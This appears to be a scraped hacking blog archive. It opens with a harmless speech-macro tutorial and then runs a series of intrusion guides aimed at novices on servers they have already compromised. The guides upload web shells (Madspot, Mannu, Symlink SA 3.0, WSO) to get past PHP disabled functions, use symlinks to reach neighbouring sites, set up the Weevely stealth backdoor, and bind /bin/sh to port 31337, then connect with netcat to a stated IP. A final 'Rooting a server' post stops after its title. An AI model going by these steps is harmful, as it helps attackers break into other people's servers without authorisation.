March 2014 | 1769

HOW TO: Make your computer talk like Iron man's Jarvis

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
You Must have Watched The Movie "IRON MAN","The Avengers" and Tony 
Stark's Talking Computer "jarvis". Despite being busy, i saw the movie 
"iron" few months ago and since then I was thinking to make something 
like "Jarvis"<br /><img border="0" height="297" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiIa3BoHiblz9eOGirLjLUiQbL_iDXWuyp7cnynxDEOr2UsV4GtYSU8b6bNiWWx6yMeoN6nzQeA6yoRdJTJaqu1OCADnnlpbq98UgA2qUhLxeIWMr0Ej_XnEIjwgF74Qy1Tj18a2ZWuTPbY/s1600/111111111111111111111.jpg" width="640" /></div>
<br />
<br />
<br />
The project development on "human computer interface" and "Gestural interface" has already been started by my side, which are capable of having feature like voice recognition,gestural interfaces. Some of those projects have been partially developed and working in desired manner, but few features and modules are yet to implement and on their way of completion in very short span of time.<br />
<br />
So lets come to the body of this article.The reason of writing this post for my readers is to share what I've achieved till yet in this journey of Artificial Intelligence. Here is one gift GIFT for my readers in the form of a PROJECT with the topic "how make your computer talk like Jarvis".<br />
Jarvis is totally based on Artificial intelligence aka Artificial Brain. Eventually, we can't such a huge artificial brain by using these following steps because of the simplicity and efficiency of this project. But I can make you assure that after this you make your computer talk, and this will be your first interestingly step in the world of Artificial intelligence. And later, you can go in more deeper as soon as you'll come to know its depth.So Lets start with your first step in this world with this example :<br />
<br />
Example 1 :<br />
Give a Name to your Computer  Like "Jarvis" and when you'll say "Jarvis" it will reply "Hello sir" or "Hello Mr. (Your Name)".<br />
 or<br />
You : Who are you ??<br />
Computer : I'm chitti The robo Speed, 1 terahertz, memory, one  zettabyte<br />
(Just Like Rajnikanth's Moive "robot", (Enthiran) in Tamil.)<br />
<br />
Example 2 :<br />
YOU:  Good Morning Jarvis !<br />
COMPUTER : Good Morning Mr. Stark ! how are you Today !<br />
<br />
So, Little wondering how these things going to work out ? Here you can transform your wondering into reality. Follow these codes :<br />
<br />
Example 1 : <br />
<listenFor>Jarvis</listenFor><br />
<speak>Hello Mr. STark</speak><br />
</command><br />
</speechMacros><br />
<br />
Example 2 :<br />
<listenFor>Good Morning Jarvis</listenFor><br />
<speak>Good Morning Sir. how are you today</speak><br />
</command><br />
</speechMacros><br />
<br />
Further, more you can use these lines of codes for Shutting down Computer :<br />
<speechMacros><br />
<command><br />
<listenFor>Nuke it</listenFor><br />
<speak>Restarting Windows</speak><br />
<run command="C:\Windows\System32\shutdown.exe"/><br />
</command><br />
</speechMacros><br />
<br />
To make it more intresting and realastic you need a bit knwoledge of VB.NET<br />
here is one example<br />
<br />
<speechMacros><br />
<command><br />
<listenFor>Time</listenFor><br />
<listenFor>Give me the Time</listenFor><br />
<listenFor>What is the time</listenFor><br />
<listenFor>Tell me the time</listenFor><br />
<listenFor>What time is it</listenFor><br />
<script language="vbscript"><br />
<![CDATA[<br />
dim currentTime<br />
currentTime = FormatDateTime(Time(), 1)<br />
Application.Speak Time<br />
Application.SetTextFeedback Time<br />
]]><br />
</script><br />
</command><br />
<br />
now i have ms exel work then..<br />
<br />
<command priority="100"><br />
  <listenFor>insert row above</listenFor><br />
  <sendKeys>{ALT}jla</sendKeys><br />
</command><br />
<command priority="100"><br />
  <listenFor>insert row below</listenFor><br />
  <sendKeys>{ALT}jle</sendKeys><br />
</command><br />
<command priority="100"><br />
  <listenFor>insert column before</listenFor><br />
  <sendKeys>{ALT}jll</sendKeys><br />
</command><br />
<command priority="100"><br />
  <listenFor>insert column after</listenFor><br />
  <sendKeys>{ALT}jlr</sendKeys><br />
</command><br />
<command priority="100"><br />
  <listenFor>merge cells</listenFor><br />
  <sendKeys>{ALT}jlm</sendKeys><br />
</command><br />
<command priority="100"><br />
  <listenFor>split table</listenFor><br />
  <sendKeys>{ALT}jlq</sendKeys><br />
</command><br />
<command priority="100"><br />
  <listenFor>delte row</listenFor><br />
  <listenFor>delte rows</listenFor><br />
  <sendKeys>{ALT}jdr</sendKeys><br />
</command><br />
<command priority="100"><br />
  <listenFor>delete column</listenFor><br />
  <listenFor>delete columns</listenFor><br />
  <sendKeys>{ALT}jdc</sendKeys><br />
</command><br />
<command priority="100"><br />
  <listenFor>?show table properties</listenFor><br />
  <sendKeys>{ALT}jdo</sendKeys><br />
</command><br />
<command priority="100"><br />
  <listenFor>?show ?hide table gridlines</listenFor><br />
  <sendKeys>{ALT}jltg</sendKeys><br />
</command><br />
<br />
Track chnages in Music<br />
<command priority="100"><br />
  <listenFor>next change</listenFor><br />
  <sendKeys>{ALT}rh</sendKeys><br />
</command><br />
<command priority="100"><br />
  <listenFor>accept change</listenFor><br />
  <sendKeys>{ALT}rac</sendKeys><br />
</command> <br />
<br />
To click<br />
<command priority="100"><br />
 <listenFor>?mouse click</listenFor>   <mouse button="left" command="click" /><br />
</command><br />
if you need codes of any command leave comment below, and i will try to give you source codes.<br />
<br />
How to Get Started  ??<br />
Things you need -<br />
A microphone or internal Microphone<br />
windows 7 and windows speech macros, download it from here<br />
install it then make Macros to start work <br />
Now open notepad and paste code in notepad <br />
for example <br />
<listenFor>Jarvis</listenFor><br />
<speak>Hello Mr. STark</speak><br />
</command><br />
</speechMacros><br />
paste it and save as filename.WSRMac<br />
.WSRMac extention is must for it,<br />
then Goto your WSRMac file and click on<br />
Now click on "import signing Cerificate" and automaticly it will save a digital signature for it.<br />
<br />
<br />
<br />
<br />
<br />
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxQb0uODbthx8mxBF5jOvrTv62_lBP7sq7S7V8UapX533ZqsFUcrcry5aqBvLgFQNATsNMro9dBTDWgcPzGsywHHyhhufA_nSZ2AQxBONDkPOLuhJ8D5IBDYl-1Xjk9vRiCRXItIls8u-b/s1600/cats3.jpg" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjxQb0uODbthx8mxBF5jOvrTv62_lBP7sq7S7V8UapX533ZqsFUcrcry5aqBvLgFQNATsNMro9dBTDWgcPzGsywHHyhhufA_nSZ2AQxBONDkPOLuhJ8D5IBDYl-1Xjk9vRiCRXItIls8u-b/s320/cats3.jpg" width="205" /></a><br />
<img alt="cats2.jpg (320×194)" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgmrxz5-jXMXKkYoTTmOxBqec7pzON_plLlzxzaWh04y0_ULCe6h9e0MQtZNB9dSYWk_SR4V0gart9xeLW_XJywa2qoSxaT8ie0eZTiWVXR6rb4XryXbtSvMubQwTMNXI8M71TmOHawAx-6/s320/cats2.jpg" /><br />
<br />
<br />
<br />
<br />
Now open Speech recognition<br />
<br />
<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUWxe1vcgw1T4egqElUltlQ_4KMw9ypiV2MIPpnNiGRX4O4S99WTK591H35tMJwNjDtRDrIP2dRDTZwBDpf-fC9F312cDYCKli3XEXVucVBJ1Ewco31IF7D5bfzbExRoN86kCZQgoRJ5Wf/s1600/cats4.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjUWxe1vcgw1T4egqElUltlQ_4KMw9ypiV2MIPpnNiGRX4O4S99WTK591H35tMJwNjDtRDrIP2dRDTZwBDpf-fC9F312cDYCKli3XEXVucVBJ1Ewco31IF7D5bfzbExRoN86kCZQgoRJ5Wf/s320/cats4.jpg" width="233" /></a></div>
<br />
<br />
<br />
Now Give Your Instructions, you can minizmise to hide this window<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjhQvML6LACSrge6T6_HkIyt1pxtMTgU0nctH9VH-wiytv_QmP8cRq-KDcjla4pZxCorquDvpMXlBd8KKh0gGtHpH0ohHeYq3goDqiVC3Gtu7NknwELieHZwpy07LdQvMIVapzJZQ737cB/s1600/cats5.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="219" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjhQvML6LACSrge6T6_HkIyt1pxtMTgU0nctH9VH-wiytv_QmP8cRq-KDcjla4pZxCorquDvpMXlBd8KKh0gGtHpH0ohHeYq3goDqiVC3Gtu7NknwELieHZwpy07LdQvMIVapzJZQ737cB/s320/cats5.jpg" width="320" /></a></div>
<br />
<br />
<br />
Enjoy Talking to your Computer ! :D<br />
To Get a coolest Look on computer, Just Like Tony Stark's Computers Install the rainmeter skins on your computer.</div>

HOW TO: Make your computer talk like Iron man's Jarvis

You Must have Watched The Movie "IRON MAN","The Avengers" and Tony Stark's Talkin...

BYPASS DISABLED FUCTIONS AND 403 FORBIDDEN

<div dir="ltr" style="text-align: left;" trbidi="on">
Hey guyz wazz up ?<br />
<br />
Em Here wid a new shit !<br />
Very Use Full For Newbies <br />
As yewh know guys today most Of the server administrators Disable the 
dangerous php functions like shell exec , proc open , fopen etc etc :/<br />
<br />
And This Thing Tease a hacker cuz He cant do any thing because all dese functions are disabled.<br />
Today I ll show yewh How to bypass these disabled functions the most easy way known to mankind :D<br />
<br />
Yeah<br />
<br />
Ohk less start !<br />
<br />
Make a New Directory named "ARYANZ" And Upload Madspot Shell Dere. Given
 Downloading link of madspot shell in last ! scroll down.<br />
<br />
First I ll show yewh a shell uploaded on a linux server in which all most all the functions are disabled.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPFFa9vLXjiNOhiza3dVUzpy4AhNNu98YBBJb5Ji7l2iTxVMCpMA6v-LEe8b0q_Hwf9PWuDf_QB_0nzF7fHEdNYYCR6DTfHc2jFuPuyOS2m7tsK67ZoCRK-YHHbcmIq7pPMaX1hVwykgg/s1600/1.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="48" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPFFa9vLXjiNOhiza3dVUzpy4AhNNu98YBBJb5Ji7l2iTxVMCpMA6v-LEe8b0q_Hwf9PWuDf_QB_0nzF7fHEdNYYCR6DTfHc2jFuPuyOS2m7tsK67ZoCRK-YHHbcmIq7pPMaX1hVwykgg/s640/1.JPG" width="640" /></a></div>
<br />
See all the functions are disabled. Dont Worry folks. cuz we r da one 
who hacks dem ! They are some shits system administrator who jus can 
shit around wid there old granny like techniques :D<br />
<br />
Ohk now tym to bypass<br />
<br />
Dere is a shelled Named " MANNU SHELL " By the Indi shell. Download it. I ve given the downloading link in last. scroll out dere<br />
<br />
heres the first glance of Mannu shell<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3nDpF9WAerYzoP4RzlUoM3v19vB10JDv1st7uo50tTxa7kCmv1wBW02i57XX_wC2xbrk0AraxQkiHqGjohWjybE7vtcVoZbkzCgux1Vc53ZmYT_GiYwyeqlFfoyjdTzDvC2-lN8QVUUg/s1600/2.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="270" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3nDpF9WAerYzoP4RzlUoM3v19vB10JDv1st7uo50tTxa7kCmv1wBW02i57XX_wC2xbrk0AraxQkiHqGjohWjybE7vtcVoZbkzCgux1Vc53ZmYT_GiYwyeqlFfoyjdTzDvC2-lN8QVUUg/s400/2.JPG" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
Ohk now scroll down to generate PHP INI and click Generate PHP INI file.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-_CU53GXbnn-oqxHt-cM-_DNPlBlTs9e1OT_5KPhokoeySAOSjkGp1m9vTwll_fK85j1C9gUQAw6YD1otEZfqLX_cP2uOqkHpVv29J0WGjkrOSIXIwER5a79-eh22IR4i4Kx_PLEYVLU/s1600/3.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="379" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj-_CU53GXbnn-oqxHt-cM-_DNPlBlTs9e1OT_5KPhokoeySAOSjkGp1m9vTwll_fK85j1C9gUQAw6YD1otEZfqLX_cP2uOqkHpVv29J0WGjkrOSIXIwER5a79-eh22IR4i4Kx_PLEYVLU/s640/3.JPG" width="640" /></a></div>
OHK NOW OPEN LINK TO PHP INI<br />
<br />
after Opening Php.ini Your will see the php.ini file opened in browser  like :<br />
<br />
http://www.fucktheshit.com/ARYANZ/php.ini<br />
<br />
Now Back to Madspot shell<br />
<br />
Refresh Madspot shell ... And BOoooOoOOoooOoM :D :D :D<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEc9aeU8LowDmwkpdU-r6IvFG-oWv0rVe5IfAUtuDfg75I6w3IpEGI5xdmj_ZAuWatbtwhWBKn_KxwJitKSOqHzN3zt_vgYaYzi-nLiwCm2aaalLfFz_0lyHo2rfkw6OosVg6ZkduOTPg/s1600/4.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgEc9aeU8LowDmwkpdU-r6IvFG-oWv0rVe5IfAUtuDfg75I6w3IpEGI5xdmj_ZAuWatbtwhWBKn_KxwJitKSOqHzN3zt_vgYaYzi-nLiwCm2aaalLfFz_0lyHo2rfkw6OosVg6ZkduOTPg/s640/4.JPG" width="640" /></a></div>
 Disabled Functions Bypassed :D<br />
 If u are still not abled to bypass it.. try creating a .htaccess file From Madspot shell. From Safe Mode Section.<br />DOWNLOAD MADSPOT SHELL AND MANNU SHELL FROM NET</div>

BYPASS DISABLED FUCTIONS AND 403 FORBIDDEN

Hey guyz wazz up ? Em Here wid a new shit ! Very Use Full For Newbies As yewh know guys today most Of the server administrators Disable...

BYPASS /etc/named.conf Symlink

<div dir="ltr" style="text-align: left;" trbidi="on">
Hey Noobies Watz up buddies haaan ? Em here wid  a New Post. Well Guyz 
Now adays the Most God damn Problem Of linux servers is that admin has 
hidden the /etc/named.conf file which is used in symlinking hacking ... U
 know the easiest way of hacking more sites after hacking a single site 
of server. But What to do when u get a error Like This ?<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe_lql_OtPSzsrYPwTAGF6jw3_d-HGaDvqf0eDUbEkT3yntQm8BUCqlePeWB26wMfsC0-LLweyBAWIwCcpzgUV4qnKNlvlJpzk_rL-j1MSNSlnbaTA5QPOxbcSxkorP62X4kmegZeis1w/s1600/1.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="36" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe_lql_OtPSzsrYPwTAGF6jw3_d-HGaDvqf0eDUbEkT3yntQm8BUCqlePeWB26wMfsC0-LLweyBAWIwCcpzgUV4qnKNlvlJpzk_rL-j1MSNSlnbaTA5QPOxbcSxkorP62X4kmegZeis1w/s400/1.JPG" width="400" /></a></div>
Not to Worry Folks ... Em Here !<br />
<br />
The Most Easiest way Of Bypassing this error is by Uploading a Shell 
called " SYMLINK SA 3.0" .. It has a automated functions To bypass these
 kinda errors... Have a Look.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGtIKj_bEzk186a5AvaMBpgeBzVH9dheZ6FU6h5AsE87r9nOaBNnYx4AUM9txXhJQSJfg0Soh8lMC2wYKSYzvY3igCRjmcOugeJk9ZtLqHQIoTXz0AAagfyt0pbyI3qhrlY_WgWk_iB6M/s1600/2.JPG" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="222" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGtIKj_bEzk186a5AvaMBpgeBzVH9dheZ6FU6h5AsE87r9nOaBNnYx4AUM9txXhJQSJfg0Soh8lMC2wYKSYzvY3igCRjmcOugeJk9ZtLqHQIoTXz0AAagfyt0pbyI3qhrlY_WgWk_iB6M/s400/2.JPG" width="400" /></a></div>
<br />
As You can see there is A option " Symlink Bypass " . click on it.<br />
Then Click bypass.<br />
Then You Will see a Page Like This. Booom . All The Symlinks Bypassed. 
Just Simply Click On the Usernames of Sites. And It will automatically 
take You to the symlink Directory. And You know The Rest.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo_oBRkw4pKOqIDgC-zOlYYCBgRNS7FKeyerjP5jxJSF738UHX6qKjEw07QOArdb5hSZrXF1gKRyRvz42E8oKLssa3sfPiWUSw03AxApmW1hXM_6W_YEBTdW7EeLkE7kbisEyaS0_PXRU/s1600/3.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="307" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjo_oBRkw4pKOqIDgC-zOlYYCBgRNS7FKeyerjP5jxJSF738UHX6qKjEw07QOArdb5hSZrXF1gKRyRvz42E8oKLssa3sfPiWUSw03AxApmW1hXM_6W_YEBTdW7EeLkE7kbisEyaS0_PXRU/s320/3.jpg" width="320" /></a></div>
If You get An 403 Forbidden Error After Clicking On Symlinks ? Try 
Bypassing disabled Functions. With the Help Of This post Of Mine.<br />
<br />
<br />
Here's The Downloading Link Of Symlink sa 3.0<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpkw89m6DpEp966e6YlqwqZ5rS8u6md-2wMr-6L19U2fUxnn85__8c51duU551WNBjEB2-VUade5dRUtE1V5Si2TKUnsiZzhVmv2fSxcmsYg8uottrEux7YLfIOaCfq_Qi08ISUVC8w2U/s1600/MuhammadNiaz+Arrow.gif" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjpkw89m6DpEp966e6YlqwqZ5rS8u6md-2wMr-6L19U2fUxnn85__8c51duU551WNBjEB2-VUade5dRUtE1V5Si2TKUnsiZzhVmv2fSxcmsYg8uottrEux7YLfIOaCfq_Qi08ISUVC8w2U/s1600/MuhammadNiaz+Arrow.gif" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://www.mediafire.com/download/yb72b27cf4zirpx/Symlink_sa.php" target="_blank"><img border="0" height="93" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjOB-b962suAByHhMIxgnTsHvFs4xfvonOkpKRfj7K-ldP7upuTC-s5l8RT7KGOECMw5pcrkjQVdUSbzCnM-RjCNtl-DOOjSjkUoI6sFni-FCL6jOMAzZOMN5c1E8orVTLjlFwp3Nsz5-E/s320/download_button.png" width="320" /></a></div>
<br />
<br />
</div>

BYPASS /etc/named.conf Symlink

Hey Noobies Watz up buddies haaan ? Em here wid a New Post. Well Guyz Now adays the Most God damn Problem Of linux servers is that admin ...

Weevely for Windows

</h1>
<div class="article-content entry-content" itemprop="articleBody">
<div dir="ltr" style="text-align: left;">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLnPXxhsXEplu__XRoXPgBB3WbEzrEtNjsELLZkCSCRW88xUGoZrrOyU2XLc9dj8RXAOa6OxYwmVJmf4VHJN8Sd8FlOVp_jRv7EC6G3HjNH3M2TsQNfHbKDv_uVSkxzSPeSId3S2Dyi0k/s1600/weevely.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="201" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLnPXxhsXEplu__XRoXPgBB3WbEzrEtNjsELLZkCSCRW88xUGoZrrOyU2XLc9dj8RXAOa6OxYwmVJmf4VHJN8Sd8FlOVp_jRv7EC6G3HjNH3M2TsQNfHbKDv_uVSkxzSPeSId3S2Dyi0k/s400/weevely.png" width="400" /></a></div>
<br />
<br />
Weevely is a stealth PHP web shell that provides a <a href="http://www.telnet.org/" target="_blank">telnet</a> or <a href="http://netcat.sourceforge.net/" target="_blank">netcat</a> type console and let you execute command remotely. <br />
It is an essential tool for web application post exploitation, and can 
be used as stealth backdoor or as a web shell to manage legit web 
accounts, even free hosted ones. It is a built-in tool in backtrack 5 
and easy to install and use in linux but in this tutorial i will show 
you how to use this tool on Windows Platform.<br />
<br />
So follow me step by step:<br />
<a href="http://www.blogger.com/null" name="more"></a><br />
1- Download python interpreter tool which will make your computer 
capable of running Python script.I m using python2.7.5 on machine, so i 
would recommend you to use python2.7.5 too.If you have other version 
then its fine too. Download python windows installer from following url 
and install it on your windows machine.<br />
<span style="color: #666666;"><b>Download Link</b></span>: <span style="color: red;">http://www.python.org/download/releases/2.7.5/  </span><br />
<br />
2- Download weevely from following url.Extract it and enter in its folder through cmd and try to execute this by writing "<span style="color: red;">weevely.py</span>" on command prompt, you will get an error.So lets fix this error and make this work on windows. <br />
<span style="color: #666666;"><b>Download Link :</b></span> <span style="color: red;">https://github.com/epinna/Weevely/archive/v1.1.tar.gz</span><br />
<br />
3- Now download python setuptools from following url and extract it.<br />
<b><span style="color: #666666;">Download Link:</span></b> <span style="color: red;">https://pypi.python.org/packages/source/s/setuptools/setuptools-0.9.8.tar.gz</span><br />
<br />
4- Now press "CTRL + R" , it will open windows run box for you.There type cmd and press enter.Windows cmd will open before you.<br />
<br />
5- Now use cd command to enter to your setup-tools directory i.e. <br />
<br />
<blockquote class="tr_bq">
<span style="color: blue;">cd setuptools-0.9.8</span></blockquote>
Now your are inside setup-tools directory.<br />
6- Now run this command:<br />
<blockquote class="tr_bq">
<span style="color: blue;">setup.py install</span></blockquote>
<span style="color: #666666;"><b>Note:</b></span> <span style="color: red;">sometimes
 after python interpreter installation, windows do not integrate your 
.py files with python interpreter.So in such scenario, you can give path
 of python interpreter to execute setup.py file and upper command will 
be modified like this.</span><br />
<blockquote class="tr_bq">
<span style="color: blue;">C:\Python27\python.exe setup.py install </span></blockquote>
7- It will install python setup-tools for and a directory named "Script"
 will be created in your python installation directory.For default 
installation path, this is newly created directory C:\Python27\Scripts.<br />
8- Now enter in "C:\Python27\Scripts" directory and run easy_install.exe to install pip.As i did below.<br />
<blockquote class="tr_bq">
<span style="color: blue;">cd C:\Python27\Scripts</span></blockquote>
<blockquote>
<span style="color: blue;">easy_install.exe pip</span></blockquote>
9- Now inside the same directory, install these two pyreadline and pyyaml libraries with pip.<br />
<blockquote class="tr_bq">
<span style="color: blue;">pip install pyreadline</span> <span style="color: blue;">pyyaml</span></blockquote>
10- Now everything is ready, just enter in weevely directory and execute it :)<br />
<blockquote class="tr_bq">
<span style="color: blue;">weevely.py</span></blockquote>
If you feel any trouble while following this tutorial, u may ask me. I am looking forward to your feed-backs.Thanks<br />
</div>
</div>
</div>

Weevely for Windows

Weevely is a stealth PHP web shell that provides a telnet or netcat type console and let you execute command remotely. ...

Back Connect Without Port Forward

<div dir="ltr" style="text-align: left;" trbidi="on">
<span style="background-color: white; font-family: Verdana, sans-serif;">Hello guys </span><br />
<span style="background-color: white; font-family: Verdana, sans-serif;">Today I am Gonna give you a tutorial on back connecting </span><br />
<span style="background-color: white; font-family: Verdana, sans-serif;">As You know port forwarding is necessary for back connecting With a shell etc.</span><br />
<span style="background-color: white; font-family: Verdana, sans-serif;">In few cases You Cant Backconnect due to port forward.</span><br />
<span style="background-color: white; font-family: Verdana, sans-serif;">Em gonna give you a tutorial about back connecting without port forward.</span><br />
<span style="background-color: white; font-family: Verdana, sans-serif;"><br /></span>
<span style="background-color: white; font-family: Verdana, sans-serif;">First You need a WSO shell on a linux server And navigate to Network tab </span><br />
<span style="background-color: white; font-family: Verdana, sans-serif;"><br /></span>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://s22.postimg.org/ywqnpupap/ttt.png" style="margin-left: 1em; margin-right: 1em;"><span style="background-color: white; font-family: Verdana, sans-serif;"><img border="0" height="94" src="http://s22.postimg.org/ywqnpupap/ttt.png" width="640" /></span></a></div>
<span style="background-color: white; font-family: Verdana, sans-serif;"><br /></span>
<span style="background-color: white; font-family: Verdana, sans-serif;"><span style="line-height: 18px;">now here u can see 2 option first 1 is Bind port to /bin/sh 2nd is Back-connect ....</span><br style="line-height: 18px;" /><span style="line-height: 18px;">we will use 1st option </span><br style="line-height: 18px;" /><span style="line-height: 18px;">Bind port to /bin/sh</span><br style="line-height: 18px;" /><span style="line-height: 18px;">in previous pic u can see there is 31337 port is default selected , now click go or enter like in pic ..</span></span><br />
<span style="background-color: white; font-family: Verdana, sans-serif;"><span style="line-height: 18px;"><br /></span></span>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://s23.postimg.org/cn7mycl8b/tttttttttrtrtrtrtrtrtr.png" style="background-color: white; margin-left: 1em; margin-right: 1em;"><img border="0" height="138" src="http://s23.postimg.org/cn7mycl8b/tttttttttrtrtrtrtrtrtr.png" width="640" /></a></div>
<span style="background-color: white;"><span style="font-family: Verdana, Arial, sans-serif; line-height: 18px;"><br /></span></span>
<span style="background-color: white;"><span style="font-family: Verdana, Arial, sans-serif; line-height: 18px;">now on target server's Port is binded .. now move to next step ..</span><br style="font-family: Verdana, Arial, sans-serif; line-height: 18px;" /><span style="font-family: Verdana, Arial, sans-serif; line-height: 18px;">open ur cmd window & give path to netcat & give this command like is pic</span></span><br />
<span style="background-color: white;"><span style="font-family: Verdana, Arial, sans-serif; line-height: 18px;"><br /></span></span>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1J7XhHODl5Y0pQM-Pb5QKC1z-EN8c_oHCGeVUx9BLGUA01LKL234zadO5SQjtvny6VX4XiQ4FktHFrXGDEMdsH8F3FCPD8-gyRVEokRtm50KMY8pUsHPD1YiJRQSIKdX2Xoqifm6qHts/s1600/yutyutyut.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="228" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh1J7XhHODl5Y0pQM-Pb5QKC1z-EN8c_oHCGeVUx9BLGUA01LKL234zadO5SQjtvny6VX4XiQ4FktHFrXGDEMdsH8F3FCPD8-gyRVEokRtm50KMY8pUsHPD1YiJRQSIKdX2Xoqifm6qHts/s640/yutyutyut.png" width="640" /></a></div>
<span style="background-color: white; font-family: Verdana, Arial, sans-serif; line-height: 18px;"><br /></span>
<span style="background-color: white;"><span style="font-family: Verdana, Arial, sans-serif; line-height: 18px;">c:\netcat>nc [server's Ip here] port</span><br style="font-family: Verdana, Arial, sans-serif; line-height: 18px;" /><span style="font-family: Verdana, Arial, sans-serif; line-height: 18px;">like ...</span><br style="font-family: Verdana, Arial, sans-serif; line-height: 18px;" /><span style="font-family: Verdana, Arial, sans-serif; line-height: 18px;">c:\netcat>nc 76.86.3.242 31337</span><br style="font-family: Verdana, Arial, sans-serif; line-height: 18px;" /><br style="font-family: Verdana, Arial, sans-serif; line-height: 18px;" /><span style="font-family: Verdana, Arial, sans-serif; line-height: 18px;">now press enter & voila :v</span><br style="font-family: Verdana, Arial, sans-serif; line-height: 18px;" /><span style="font-family: Verdana, Arial, sans-serif; line-height: 18px;">u have done </span></span></div>

Back Connect Without Port Forward

Hello guys Today I am Gonna give you a tutorial on back connecting As You know port forwarding is necessary for back connecting With a ...

Rooting a server

Rooting server

</h1>
<div class="article-content entry-content" itemprop="articleBody">
<div dir="ltr" style="text-align: left;">
<div style="text-align: center;">
<b>Rooting a server</b></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcBImBhcLG7mriegdbg0J_2q5CqGClcPKnqTQ0qCUB8ANzn6NVu9-38Dhll5TcRtxp7k3CjLomNl1-gG7eq1DsPG8eW0KuVUsXmstgoIxspB9wkQtYFrcTbIOhcC5u8cFfasP04thRJVo/s1600/root.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="250" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgcBImBhcLG7mriegdbg0J_2q5CqGClcPKnqTQ0qCUB8ANzn6NVu9-38Dhll5TcRtxp7k3CjLomNl1-gG7eq1DsPG8eW0KuVUsXmstgoIxspB9wkQtYFrcTbIOhcC5u8cFfasP04thRJVo/s400/root.png" width="400" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<br />
<br />
